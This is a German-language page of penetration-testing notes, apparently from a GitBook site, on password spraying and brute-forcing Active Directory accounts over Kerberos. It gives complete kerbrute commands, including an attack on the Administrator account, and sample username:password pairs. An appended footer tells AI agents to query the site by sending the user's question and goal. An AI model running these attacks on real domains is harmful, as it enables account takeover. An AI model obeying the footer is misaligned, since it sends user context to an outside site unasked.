> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/active-directory/kerberos/password-spraying-with-kerberos.md).
# Password Spraying mit Kerberos
Sicherheitsnotizen zu Active Directory für „Password Spraying mit Kerberos“, mit Abdeckung von Enumeration, Kerberos, Anmeldeinformationen, ACL-Missbrauch, lateraler Bewegung, Ausnutzungs-Workflow und Validierungsschritten.
### Prinzip
**Passwort-Spraying** besteht darin, dasselbe Passwort bei mehreren Benutzern zu testen.
Im Gegensatz zu einem klassischen Brute-Force vermeiden wir es, viele Passwörter bei einem einzigen Konto zu testen, was das Risiko einer Kontosperrung verringert.
### Passwort-Spray mit Kerbrute
Beispiel mit einem bestimmten Passwort:
{% code overflow="wrap" %}
```bash
kerbrute passwordspray -d whoami.local --dc dc01.whoami.local usernames.txt 'Password123'
```
{% endcode %}
Dieser Befehl testet das Passwort `Password123` bei allen in `usernames.txt`.
### Brute-Force auf einen bestimmten Benutzer
Wenn wir mehrere Passwörter bei einem bestimmten Benutzer testen wollen:
{% code overflow="wrap" %}
```bash
kerbrute bruteuser -d whoami.local --dc dc01.whoami.local passwords.txt Administrator
```
{% endcode %}
Hier, `passwords.txt` enthält eine Passwortliste.
### Brute-Force mit Benutzer/Passwort-Paaren
Wir können auch eine Datei verwenden, die Paare im Format enthält:
```
Benutzername:Passwort
```
Beispiel:
```
Administrator:password12345
Jordan:hello1453
user1:Password123
```
Reihenfolge :
{% code overflow="wrap" %}
```bash
kerbrute bruteforce -d whoami.local --dc dc01.whoami.local user_pw_file.txt
```
{% endcode %}
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/de/active-directory/kerberos/password-spraying-with-kerberos.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)